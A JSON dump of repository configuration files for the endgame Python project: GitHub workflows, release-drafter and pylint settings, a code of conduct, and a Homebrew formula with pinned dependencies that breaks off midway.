[
  {
    "path": ".github/PULL_REQUEST_TEMPLATE",
    "content": "## What does this PR do?\n\n[//]: # (Required: Describe the effects of your pull request in detail. If\nmultiple changes are involved, a bulleted list is often useful.)\n\n## What gif best describes this PR or how it makes you feel?\n\n[//]: # (Encouraged: Insert an appropriate gif/meme to brighten up your reviewer's day.)\n\n## Completion checklist\n\n- [ ] Additions and changes have unit tests\n- [ ] [Unit tests, Pylint, security testing, and Integration tests are passing.](https://github.com/salesforce/endgame/actions). GitHub actions does this automatically\n- [ ] The pull request has been appropriately labeled using the provided PR labels\n"
  },
  {
    "path": ".github/release-drafter.yml",
    "content": "name-template: '$RESOLVED_VERSION 🌈'\ntag-template: '$RESOLVED_VERSION'\ncategories:\n  - title: '🚀 Features'\n    labels:\n      - 'feature'\n      - 'enhancement'\n  - title: '🐛 Bug Fixes'\n    labels:\n      - 'fix'\n      - 'bugfix'\n      - 'bug'\n      - 'quick-fix'\n  - title: '🧰 Maintenance'\n    label:\n      - 'chore'\n      - 'maintenance'\n      - 'maintain'\n      - 'cleanup'\n  - title: '📝 Documentation'\n    label:\n      - 'documentation'\n      - 'docs'\n\nchange-template: '- $TITLE @$AUTHOR (#$NUMBER)'\nchange-title-escapes: '\\<*_&' # You can add # and @ to disable mentions, and add ` to disable code blocks.\nversion-resolver:\n  major:\n    labels:\n      - 'major'\n  minor:\n    labels:\n      - 'minor'\n  patch:\n    labels:\n      - 'patch'\n  default: patch\ntemplate: |\n  ## Changes\n\n  $CHANGES\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: continuous-integration\n\non: [push, pull_request]\n\njobs:\n  ci:\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        python-version: ['3.7', '3.8', '3.9']\n    steps:\n      - uses: actions/checkout@v2\n\n      - name: Setup Python\n        uses: actions/setup-python@v2\n        with:\n          python-version: ${{ matrix.python-version }}\n\n      - name: Install dependencies\n        run: |\n          make setup-dev\n\n      - name: Run pytest (unit tests) and bandit (security test)\n        run: |\n          make security-test\n          make test\n\n      - name: Install the package to make sure nothing is randomly broken\n        run: |\n          make install\n\n#      - name: pylint\n#        run: |\n#          make lint\n"
  },
  {
    "path": ".github/workflows/publish.yml",
    "content": "name: Publish\n\non:\n  release:\n    types: [ published ]\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        python-version: ['3.7', '3.8', '3.9']\n    steps:\n      - uses: actions/checkout@v2\n\n      - name: Setup Python\n        uses: actions/setup-python@v2\n        with:\n          python-version: ${{ matrix.python-version }}\n\n      - name: Install dependencies\n        run: |\n          make setup-dev\n\n      - name: Run pytest (unit tests) and bandit (security test)\n        run: |\n          make test\n\n      - name: Install the package to make sure nothing is randomly broken\n        run: |\n          make install\n\n  publish-package:\n    needs: test\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@master\n      - name: Set up Python 3.7\n        uses: actions/setup-python@v2\n        with:\n          python-version: 3.7\n\n\n      - name: Install dependencies\n        run: |\n          pip install -r requirements.txt\n          pip install -r requirements-dev.txt\n      - name: create python package\n        run: |\n          git config --local user.email \"action@github.com\"\n          git config --local user.name \"GitHub Action\"\n          git fetch --tags\n          git pull origin main\n          pip install setuptools wheel twine\n          python -m setup sdist bdist_wheel\n      - name: Publish package\n        uses: pypa/gh-action-pypi-publish@master\n        with:\n          user: __token__\n          password: ${{ secrets.PYPI_PASSWORD }}\n\n\n  update-brew:\n    needs: publish-package\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@master\n      - name: Set up Python 3.7\n        uses: actions/setup-python@v2\n        with:\n          python-version: 3.7\n      - name: publish brew\n        run: |\n          sleep 5m\n          git config --local user.email \"action@github.com\"\n          git config --local user.name \"GitHub Action\"\n          pip install homebrew-pypi-poet\n          pip install endgame -U\n          git fetch origin\n          git checkout --track origin/main\n          latest_tag=$(git describe --tags `git rev-list --tags --max-count=1`)\n          echo \"latest tag: $latest_tag\"\n          git pull origin $latest_tag\n          mkdir -p \"HomebrewFormula\" && touch \"HomebrewFormula/endgame.rb\"\n          poet -f endgame > HomebrewFormula/endgame.rb\n          git add .\n          git commit -m \"update brew formula\" endgame/bin/cli.py HomebrewFormula/endgame.rb || echo \"No brew changes to commit\"\n          git push -u origin main\n"
  },
  {
    "path": ".github/workflows/release-drafter.yml",
    "content": "name: Release Drafter\n\non:\n  push:\n    branches: [ main, master ]\n\njobs:\n  update_release_draft:\n    runs-on: ubuntu-latest\n    steps:\n      # Drafts your next Release notes as Pull Requests are merged into \"master\"\n      - uses: release-drafter/release-drafter@v5\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".gitignore",
    "content": "# IDEs\n.idea\n.vscode\n\n# Mac OS X\n.DS_Store\n\n# Serverless framework\n.serverless\n.requirements.zip\nnode_modules/\n\n# Working directories\ntmp\n!.gitkeep\n\n# Python\n.coverage\n.Python\n__pycache__/\n*.py[cod]\n*$py.class\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nvenv/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n.hypothesis/\n.pytest_cache/\n\n# HashiCorp\n**/.terraform/*\n*.plan\n*.tfstate\n*.tfstate.*\n*.tfvars\nterraform.tfvars\n.vagrant\npacker_cache/\n*.box\n\n#### Other\n*.log\n*.pem\n\n#### Repository specific\n.notes/*\n**/private.tf\n.python-version\necr-policy.json"
  },
  {
    "path": ".pylintrc",
    "content": "[MASTER]\n\n# A comma-separated list of package or module names from where C extensions may\n# be loaded. Extensions are loading into the active Python interpreter and may\n# run arbitrary code.\nextension-pkg-whitelist=\n\n# Add files or directories to the blacklist. They should be base names, not\n# paths.\nignore=CVS\n\n# Add files or directories matching the regex patterns to the blacklist. The\n# regex matches against base names, not paths.\nignore-patterns=\n\n# Python code to execute, usually for sys.path manipulation such as\n# pygtk.require().\n#init-hook=\n\n# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the\n# number of processors available to use.\njobs=1\n\n# Control the amount of potential inferred values when inferring a single\n# object. This can help the performance when dealing with large functions or\n# complex, nested conditions.\nlimit-inference-results=100\n\n# List of plugins (as comma separated values of python module names) to load,\n# usually to register additional checkers.\nload-plugins=\n\n# Pickle collected data for later comparisons.\npersistent=yes\n\n# Specify a configuration file.\n#rcfile=\n\n# When enabled, pylint would attempt to guess common misconfiguration and emit\n# user-friendly hints instead of false-positive error messages.\nsuggestion-mode=yes\n\n# Allow loading of arbitrary C extensions. Extensions are imported into the\n# active Python interpreter and may run arbitrary code.\nunsafe-load-any-extension=no\n\n\n[MESSAGES CONTROL]\n\n# Only show warnings with the listed confidence levels. Leave empty to show\n# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED.\nconfidence=\n\n# Disable the message, report, category or checker with the given id(s). You\n# can either give multiple identifiers separated by comma (,) or put this\n# option multiple times (only on the command line, not in the configuration\n# file where it should appear only once). You can also use \"--disable=all\" to\n# disable everything first and then reenable specific checks. For example, if\n# you want to run only the similarities checker, you can use \"--disable=all\n# --enable=similarities\". If you want to run only the classes checker, but have\n# no Warning level messages displayed, use \"--disable=all --enable=classes\n# --disable=W\".\ndisable=print-statement,\n        parameter-unpacking,\n        unpacking-in-except,\n        old-raise-syntax,\n        backtick,\n        long-suffix,\n        old-ne-operator,\n        old-octal-literal,\n        import-star-module-level,\n        non-ascii-bytes-literal,\n        raw-checker-failed,\n        bad-inline-option,\n        locally-disabled,\n        file-ignored,\n        suppressed-message,\n        useless-suppression,\n        deprecated-pragma,\n        use-symbolic-message-instead,\n        apply-builtin,\n        basestring-builtin,\n        buffer-builtin,\n        cmp-builtin,\n        coerce-builtin,\n        execfile-builtin,\n        file-builtin,\n        long-builtin,\n        raw_input-builtin,\n        reduce-builtin,\n        standarderror-builtin,\n        unicode-builtin,\n        xrange-builtin,\n        coerce-method,\n        delslice-method,\n        getslice-method,\n        setslice-method,\n        no-absolute-import,\n        old-division,\n        dict-iter-method,\n        dict-view-method,\n        next-method-called,\n        metaclass-assignment,\n        indexing-exception,\n        raising-string,\n        reload-builtin,\n        oct-method,\n        hex-method,\n        nonzero-method,\n        cmp-method,\n        input-builtin,\n        round-builtin,\n        intern-builtin,\n        unichr-builtin,\n        map-builtin-not-iterating,\n        zip-builtin-not-iterating,\n        range-builtin-not-iterating,\n        filter-builtin-not-iterating,\n        using-cmp-argument,\n        eq-without-hash,\n        div-method,\n        idiv-method,\n        rdiv-method,\n        exception-message-attribute,\n        invalid-str-codec,\n        sys-max-int,\n        bad-python3-import,\n        deprecated-string-function,\n        deprecated-str-translate-call,\n        deprecated-itertools-function,\n        deprecated-types-field,\n        next-method-defined,\n        dict-items-not-iterating,\n        dict-keys-not-iterating,\n        dict-values-not-iterating,\n        deprecated-operator-function,\n        deprecated-urllib-function,\n        xreadlines-attribute,\n        deprecated-sys-function,\n        exception-escape,\n        comprehension-escape,\n        fixme,\n        line-too-long,\n        duplicate-code,\n        consider-using-sys-exit,\n        no-else-return,\n        too-few-public-methods,\n        too-many-nested-blocks,\n        too-many-statements,\n        too-many-branches,\n        self-assigning-variable,\n        pointless-string-statement,\n        too-many-locals,\n        consider-using-enumerate,\n        too-many-arguments,\n        expression-not-assigned,\n        invalid-name,\n        logging-too-many-args,\n        bad-continuation,\n        logging-format-interpolation,\n        f-string-without-interpolation,\n        logging-fstring-interpolation,\n        unused-variable,\n        no-self-use\n\n# Enable the message, report, category or checker with the given id(s). You can\n# either give multiple identifier separated by comma (,) or put this option\n# multiple time (only on the command line, not in the configuration file where\n# it should appear only once). See also the \"--disable\" option for examples.\nenable=c-extension-no-member\n\n\n[REPORTS]\n\n# Python expression which should return a score less than or equal to 10. You\n# have access to the variables 'error', 'warning', 'refactor', and 'convention'\n# which contain the number of messages in each category, as well as 'statement'\n# which is the total number of statements analyzed. This score is used by the\n# global evaluation report (RP0004).\nevaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)\n\n# Template used to display messages. This is a python new-style format string\n# used to format the message information. See doc for all details.\n#msg-template=\n\n# Set the output format. Available formats are text, parseable, colorized, json\n# and msvs (visual studio). You can also give a reporter class, e.g.\n# mypackage.mymodule.MyReporterClass.\noutput-format=text\n\n# Tells whether to display a full report or only the messages.\nreports=no\n\n# Activate the evaluation score.\nscore=yes\n\n\n[REFACTORING]\n\n# Maximum number of nested blocks for function / method body\nmax-nested-blocks=5\n\n# Complete name of functions that never returns. When checking for\n# inconsistent-return-statements if a never returning function is called then\n# it will be considered as an explicit return statement and no message will be\n# printed.\nnever-returning-functions=sys.exit\n\n\n[LOGGING]\n\n# Format style used to check logging format string. `old` means using %\n# formatting, `new` is for `{}` formatting,and `fstr` is for f-strings.\nlogging-format-style=old\n\n# Logging modules to check that the string format arguments are in logging\n# function parameter format.\nlogging-modules=logging\n\n\n[SPELLING]\n\n# Limits count of emitted suggestions for spelling mistakes.\nmax-spelling-suggestions=4\n\n# Spelling dictionary name. Available dictionaries: none. To make it work,\n# install the python-enchant package.\nspelling-dict=\n\n# List of comma separated words that should not be checked.\nspelling-ignore-words=\n\n# A path to a file that contains the private dictionary; one word per line.\nspelling-private-dict-file=\n\n# Tells whether to store unknown words to the private dictionary (see the\n# --spelling-private-dict-file option) instead of raising a message.\nspelling-store-unknown-words=no\n\n\n[MISCELLANEOUS]\n\n# List of note tags to take in consideration, separated by a comma.\nnotes=FIXME,\n      XXX,\n      TODO\n\n\n[TYPECHECK]\n\n# List of decorators that produce context managers, such as\n# contextlib.contextmanager. Add to this list to register other decorators that\n# produce valid context managers.\ncontextmanager-decorators=contextlib.contextmanager\n\n# List of members which are set dynamically and missed by pylint inference\n# system, and so shouldn't trigger E1101 when accessed. Python regular\n# expressions are accepted.\ngenerated-members=\n\n# Tells whether missing members accessed in mixin class should be ignored. A\n# mixin class is detected if its name ends with \"mixin\" (case insensitive).\nignore-mixin-members=yes\n\n# Tells whether to warn about missing members when the owner of the attribute\n# is inferred to be None.\nignore-none=yes\n\n# This flag controls whether pylint should warn about no-member and similar\n# checks whenever an opaque object is returned when inferring. The inference\n# can return multiple potential results while evaluating a Python object, but\n# some branches might not be evaluated, which results in partial inference. In\n# that case, it might be useful to still emit no-member and other checks for\n# the rest of the inferred objects.\nignore-on-opaque-inference=yes\n\n# List of class names for which member attributes should not be checked (useful\n# for classes with dynamically set attributes). This supports the use of\n# qualified names.\nignored-classes=optparse.Values,thread._local,_thread._local\n\n# List of module names for which member attributes should not be checked\n# (useful for modules/projects where namespaces are manipulated during runtime\n# and thus existing member attributes cannot be deduced by static analysis). It\n# supports qualified module names, as well as Unix pattern matching.\nignored-modules=\n\n# Show a hint with possible names when a member name was not found. The aspect\n# of finding the hint is based on edit distance.\nmissing-member-hint=yes\n\n# The minimum edit distance a name should have in order to be considered a\n# similar match for a missing member name.\nmissing-member-hint-distance=1\n\n# The total number of similar names that should be taken in consideration when\n# showing a hint for a missing member.\nmissing-member-max-choices=1\n\n# List of decorators that change the signature of a decorated function.\nsignature-mutators=\n\n\n[VARIABLES]\n\n# List of additional names supposed to be defined in builtins. Remember that\n# you should avoid defining new builtins when possible.\nadditional-builtins=\n\n# Tells whether unused global variables should be treated as a violation.\nallow-global-unused-variables=yes\n\n# List of strings which can identify a callback function by name. A callback\n# name must start or end with one of those strings.\ncallbacks=cb_,\n          _cb\n\n# A regular expression matching the name of dummy variables (i.e. expected to\n# not be used).\ndummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_\n\n# Argument names that match this expression will be ignored. Default to name\n# with leading underscore.\nignored-argument-names=_.*|^ignored_|^unused_\n\n# Tells whether we should check for unused import in __init__ files.\ninit-import=no\n\n# List of qualified module names which can have objects that can redefine\n# builtins.\nredefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io\n\n\n[FORMAT]\n\n# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.\nexpected-line-ending-format=\n\n# Regexp for a line that is allowed to be longer than the limit.\nignore-long-lines=^\\s*(# )?<?https?://\\S+>?$\n\n# Number of spaces of indent required inside a hanging or continued line.\nindent-after-paren=4\n\n# String used as indentation unit. This is usually \"    \" (4 spaces) or \"\\t\" (1\n# tab).\nindent-string='    '\n\n# Maximum number of characters on a single line.\nmax-line-length=119\n\n# Maximum number of lines in a module.\nmax-module-lines=1000\n\n# List of optional constructs for which whitespace checking is disabled. `dict-\n# separator` is used to allow tabulation in dicts, etc.: {1  : 1,\\n222: 2}.\n# `trailing-comma` allows a space between comma and closing bracket: (a, ).\n# `empty-line` allows space-only lines.\nno-space-check=trailing-comma,\n               dict-separator\n\n# Allow the body of a class to be on the same line as the declaration if body\n# contains single statement.\nsingle-line-class-stmt=no\n\n# Allow the body of an if to be on the same line as the test if there is no\n# else.\nsingle-line-if-stmt=no\n\n\n[SIMILARITIES]\n\n# Ignore comments when computing similarities.\nignore-comments=yes\n\n# Ignore docstrings when computing similarities.\nignore-docstrings=yes\n\n# Ignore imports when computing similarities.\nignore-imports=no\n\n# Minimum lines number of a similarity.\nmin-similarity-lines=4\n\n\n[BASIC]\n\n# Naming style matching correct argument names.\nargument-naming-style=snake_case\n\n# Regular expression matching correct argument names. Overrides argument-\n# naming-style.\n#argument-rgx=\n\n# Naming style matching correct attribute names.\nattr-naming-style=snake_case\n\n# Regular expression matching correct attribute names. Overrides attr-naming-\n# style.\n#attr-rgx=\n\n# Bad variable names which should always be refused, separated by a comma.\nbad-names=foo,\n          bar,\n          baz,\n          toto,\n          tutu,\n          tata\n\n# Naming style matching correct class attribute names.\nclass-attribute-naming-style=any\n\n# Regular expression matching correct class attribute names. Overrides class-\n# attribute-naming-style.\n#class-attribute-rgx=\n\n# Naming style matching correct class names.\nclass-naming-style=PascalCase\n\n# Regular expression matching correct class names. Overrides class-naming-\n# style.\n#class-rgx=\n\n# Naming style matching correct constant names.\nconst-naming-style=UPPER_CASE\n\n# Regular expression matching correct constant names. Overrides const-naming-\n# style.\n#const-rgx=\n\n# Minimum line length for functions/classes that require docstrings, shorter\n# ones are exempt.\ndocstring-min-length=-1\n\n# Naming style matching correct function names.\nfunction-naming-style=snake_case\n\n# Regular expression matching correct function names. Overrides function-\n# naming-style.\n#function-rgx=\n\n# Good variable names which should always be accepted, separated by a comma.\ngood-names=i,\n           j,\n           k,\n           ex,\n           Run,\n           _\n\n# Include a hint for the correct naming format with invalid-name.\ninclude-naming-hint=no\n\n# Naming style matching correct inline iteration names.\ninlinevar-naming-style=any\n\n# Regular expression matching correct inline iteration names. Overrides\n# inlinevar-naming-style.\n#inlinevar-rgx=\n\n# Naming style matching correct method names.\nmethod-naming-style=snake_case\n\n# Regular expression matching correct method names. Overrides method-naming-\n# style.\n#method-rgx=\n\n# Naming style matching correct module names.\nmodule-naming-style=snake_case\n\n# Regular expression matching correct module names. Overrides module-naming-\n# style.\n#module-rgx=\n\n# Colon-delimited sets of names that determine each other's naming style when\n# the name regexes allow several styles.\nname-group=\n\n# Regular expression which should only match function or class names that do\n# not require a docstring.\nno-docstring-rgx=^_\n\n# List of decorators that produce properties, such as abc.abstractproperty. Add\n# to this list to register other decorators that produce valid properties.\n# These decorators are taken in consideration only for invalid-name.\nproperty-classes=abc.abstractproperty\n\n# Naming style matching correct variable names.\nvariable-naming-style=snake_case\n\n# Regular expression matching correct variable names. Overrides variable-\n# naming-style.\n#variable-rgx=\n\n\n[STRING]\n\n# This flag controls whether the implicit-str-concat-in-sequence should\n# generate a warning on implicit string concatenation in sequences defined over\n# several lines.\ncheck-str-concat-over-line-jumps=no\n\n\n[IMPORTS]\n\n# List of modules that can be imported at any level, not just the top level\n# one.\nallow-any-import-level=\n\n# Allow wildcard imports from modules that define __all__.\nallow-wildcard-with-all=no\n\n# Analyse import fallback blocks. This can be used to support both Python 2 and\n# 3 compatible code, which means that the block might have code that exists\n# only in one or another interpreter, leading to false positives when analysed.\nanalyse-fallback-blocks=no\n\n# Deprecated modules which should not be used, separated by a comma.\ndeprecated-modules=optparse,tkinter.tix\n\n# Create a graph of external dependencies in the given file (report RP0402 must\n# not be disabled).\next-import-graph=\n\n# Create a graph of every (i.e. internal and external) dependencies in the\n# given file (report RP0402 must not be disabled).\nimport-graph=\n\n# Create a graph of internal dependencies in the given file (report RP0402 must\n# not be disabled).\nint-import-graph=\n\n# Force import order to recognize a module as part of the standard\n# compatibility libraries.\nknown-standard-library=\n\n# Force import order to recognize a module as part of a third party library.\nknown-third-party=enchant\n\n# Couples of modules and preferred modules, separated by a comma.\npreferred-modules=\n\n\n[CLASSES]\n\n# List of method names used to declare (i.e. assign) instance attributes.\ndefining-attr-methods=__init__,\n                      __new__,\n                      setUp,\n                      __post_init__\n\n# List of member names, which should be excluded from the protected access\n# warning.\nexclude-protected=_asdict,\n                  _fields,\n                  _replace,\n                  _source,\n                  _make\n\n# List of valid names for the first argument in a class method.\nvalid-classmethod-first-arg=cls\n\n# List of valid names for the first argument in a metaclass class method.\nvalid-metaclass-classmethod-first-arg=cls\n\n\n[DESIGN]\n\n# Maximum number of arguments for function / method.\nmax-args=5\n\n# Maximum number of attributes for a class (see R0902).\nmax-attributes=7\n\n# Maximum number of boolean expressions in an if statement (see R0916).\nmax-bool-expr=5\n\n# Maximum number of branch for function / method body.\nmax-branches=12\n\n# Maximum number of locals for function / method body.\nmax-locals=15\n\n# Maximum number of parents for a class (see R0901).\nmax-parents=7\n\n# Maximum number of public methods for a class (see R0904).\nmax-public-methods=20\n\n# Maximum number of return / yield for function / method body.\nmax-returns=6\n\n# Maximum number of statements in function / method body.\nmax-statements=50\n\n# Minimum number of public methods for a class (see R0903).\nmin-public-methods=2\n\n\n[EXCEPTIONS]\n\n# Exceptions that will emit a warning when being caught. Defaults to\n# \"BaseException, Exception\".\novergeneral-exceptions=BaseException,\n                       Exception\n"
  },
  {
    "path": ".readthedocs.yml",
    "content": "# Read the Docs configuration file\n# See https://docs.readthedocs.io/en/stable/config-file/v2.html for details\n\n# Required\nversion: 2\n\nmkdocs:\n  configuration: mkdocs.yml\n  fail_on_warning: false\n\n# Optionally build your docs in additional formats such as PDF and ePub\nformats: all\n\n# Optionally set the version of Python and requirements required to build your docs\npython:\n  version: 3.7\n  install:\n    - requirements: docs/requirements-docs.txt\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Salesforce Open Source Community Code of Conduct\n\n## About the Code of Conduct\n\nEquality is a core value at Salesforce. We believe a diverse and inclusive\ncommunity fosters innovation and creativity, and are committed to building a\nculture where everyone feels included.\n\nSalesforce open-source projects are committed to providing a friendly, safe, and\nwelcoming environment for all, regardless of gender identity and expression,\nsexual orientation, disability, physical appearance, body size, ethnicity, nationality,\nrace, age, religion, level of experience, education, socioeconomic status, or\nother similar personal characteristics.\n\nThe goal of this code of conduct is to specify a baseline standard of behavior so\nthat people with different social values and communication styles can work\ntogether effectively, productively, and respectfully in our open source community.\nIt also establishes a mechanism for reporting issues and resolving conflicts.\n\nAll questions and reports of abusive, harassing, or otherwise unacceptable behavior\nin a Salesforce open-source project may be reported by contacting the Salesforce\nOpen Source Conduct Committee at ossconduct@salesforce.com.\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of gender\nidentity and expression, sexual orientation, disability, physical appearance,\nbody size, ethnicity, nationality, race, age, religion, level of experience, education,\nsocioeconomic status, or other similar personal characteristics.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy toward other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\nadvances\n* Personal attacks, insulting/derogatory comments, or trolling\n* Public or private harassment\n* Publishing, or threatening to publish, others' private information—such as\na physical or electronic address—without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\nprofessional setting\n* Advocating for or encouraging any of the above behaviors\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned with this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project email\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the Salesforce Open Source Conduct Committee\nat ossconduct@salesforce.com. All complaints will be reviewed and investigated\nand will result in a response that is deemed necessary and appropriate to the\ncircumstances. The committee is obligated to maintain confidentiality with\nregard to the reporter of an incident. Further details of specific enforcement\npolicies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership and the Salesforce Open Source Conduct\nCommittee.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][contributor-covenant-home],\nversion 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html.\nIt includes adaptions and additions from [Go Community Code of Conduct][golang-coc],\n[CNCF Code of Conduct][cncf-coc], and [Microsoft Open Source Code of Conduct][microsoft-coc].\n\nThis Code of Conduct is licensed under the [Creative Commons Attribution 3.0 License][cc-by-3-us].\n\n[contributor-covenant-home]: https://www.contributor-covenant.org (https://www.contributor-covenant.org/)\n[golang-coc]: https://golang.org/conduct\n[cncf-coc]: https://github.com/cncf/foundation/blob/master/code-of-conduct.md\n[microsoft-coc]: https://opensource.microsoft.com/codeofconduct/\n[cc-by-3-us]: https://creativecommons.org/licenses/by/3.0/us/"
  },
  {
    "path": "HomebrewFormula/endgame.rb",
    "content": "class Endgame < Formula\n  include Language::Python::Virtualenv\n\n  desc \"Shiny new formula\"\n  homepage \"https://github.com/salesforce/endgame\"\n  url \"https://files.pythonhosted.org/packages/88/7e/e664d5c4708b7056110b672eefd3bd29133fb731ffa63c2eda656c290c75/endgame-0.1.6.tar.gz\"\n  sha256 \"ba1f5da8e10c96ea9e9aa73fd0205964013da615d6512b854421f18ba16b1393\"\n\n  depends_on \"python3\"\n\n  resource \"beautifulsoup4\" do\n    url \"https://files.pythonhosted.org/packages/6b/c3/d31704ae558dcca862e4ee8e8388f357af6c9d9acb0cad4ba0fbbd350d9a/beautifulsoup4-4.9.3.tar.gz\"\n    sha256 \"84729e322ad1d5b4d25f805bfa05b902dd96450f43842c4e99067d5e1369eb25\"\n  end\n\n  resource \"boto3\" do\n    url \"https://files.pythonhosted.org/packages/79/94/8cdeff002e0c9ab56f88560523036d8efcb7680e02abe2fa4fc8f4bd87c2/boto3-1.17.8.tar.gz\"\n    sha256 \"819890e92268d730bdef1d8bac08fb069b148bec21f2172a1a99380798224e1b\"\n  end\n\n  resource \"botocore\" do\n    url \"https://files.pythonhosted.org/packages/62/84/f5415b10f5447fa3323ebf2480fe36985f65da24e2def14fc9a4939a737f/botocore-1.20.8.tar.gz\"\n    sha256 \"cd621cdd14a81d2c3c5276516066d9e6ea20a515cf3113a80ad74f3f8b04a093\"\n  end\n\n  resource \"certifi\" do\n    url \"https://files.pythonhosted.org/packages/06/a9/cd1fd8ee13f73a4d4f491ee219deeeae20afefa914dfb4c130cfc9dc397a/certifi-2020.12.5.tar.gz\"\n    sha256 \"1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c\"\n  end\n\n  resource \"chardet\" do\n    url \"https://files.pythonhosted.org/packages/ee/2d/9cdc2b527e127b4c9db64b86647d567985940ac3698eeabc7ffaccb4ea61/chardet-4.0.0.tar.gz\"\n    sha256 \"0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa\"\n  end\n\n  resource \"click\" do\n    url \"https://files.pythonhosted.org/packages/27/6f/be940c8b1f1d69daceeb0032fee6c34d7bd70e3e649ccac0951500b4720e/click-7.1.2.tar.gz\"\n    sha256 \"d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a\"\n  end\n\n  resource \"colorama\" do\n    url \"https://files.pythonhosted.org/packages/1f/bb/5d3246097ab77fa083a61bd8d3d527b7ae063c7d8e8671b1cf8c4ec10cbe/colorama-0.4.4.tar.gz\"\n    sha256 \"5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b\"\n  end\n\n  resource \"contextlib2\" do\n    url \"https://files.pythonhosted.org/packages/02/54/669207eb72e3d8ae8b38aa1f0703ee87a0e9f88f30d3c0a47bebdb6de242/contextlib2-0.6.0.post1.tar.gz\"\n    sha256 \"01f490098c18b19d2bd5bb5dc445b2054d2fa97f09a4280ba2c5f3c394c8162e\"\n  end\n\n  resource \"idna\" do\n    url \"https://files.pythonhosted.org/packages/ea/b7/e0e3c1c467636186c39925827be42f16fee389dc404ac29e930e9136be70/idna-2.10.tar.gz\"\n    sha256 \"b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6\"\n  end\n\n  resource \"jmespath\" do\n    url \"https://files.pythonhosted.org/packages/3c/56/3f325b1eef9791759784aa5046a8f6a1aff8f7c898a2e34506771d3b99d8/jmespath-0.10.0.tar.gz\"\n    sha256 \"b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9\"\n  end\n\n  resource \"policy-sentry\" do\n    url \"https://files.pythonhosted.org/packages/5a/d6/09bd6125cc20eac023ad5b5a8391de709e40d6787b14775e6dbc8c32e96e/policy_sentry-0.11.5.tar.gz\"\n    sha256 \"c0ef418e6bd062d21185a51f40ad39b997d7ae5da793d2a8c0ea013c2f15da5c\"\n  end\n\n  resource \"python-dateutil\" do\n    url \"https://files.pythonhosted.org/packages/be/ed/5bbc91f03fa4c839c4c7360375da77f9659af5f7086b7a7bdda65771c8e0/python-dateutil-2.8.1.tar.gz\"\n    sha256 \"73ebfe9dbf22e832286dafa60473e4cd239f8592f699aa5adaf10050e6e1823c\"\n  end\n\n  resource \"PyYAML\" do\n    url \"https://files.pythonhosted.org/packages/a0/a4/d63f2d7597e1a4b55aa3b4d6c5b029991d3b824b5bd331af8d4ab1ed687d/PyYAML-5.4.1.tar.gz\"\n    sha256 \"607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e\"\n  end\n\n  resource \"requests\" do\n    url \"https://files.pythonhosted.org/packages/6b/47/c14abc08432ab22dc18b9892252efaf005ab44066de871e72a38d6af464b/requests-2.25.1.tar.gz\"\n    sha256 \"27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804\"\n  end\n\n  resource \"s3transfer\" do\n    url \"https://files.pythonhosted.org/packages/08/e1/3ee2096ebaeeb8c186d20ed16c8faf4a503913e5c9a0e14cd6b8ffc405a3/s3transfer-0.3.4.tar.gz\"\n    sha256 \"7fdddb4f22275cf1d32129e21f056337fd2a80b6ccef1664528145b72c49e6d2\"\n  end\n\n  resource \"schema\" do\n    url \"https://files.pythonhosted.org/packages/2b/91/42bc143289fd5f032ab1b01c5da32dc162ae808a585122f27ed5bf67268f/schema-0.7.4.tar.gz\"\n  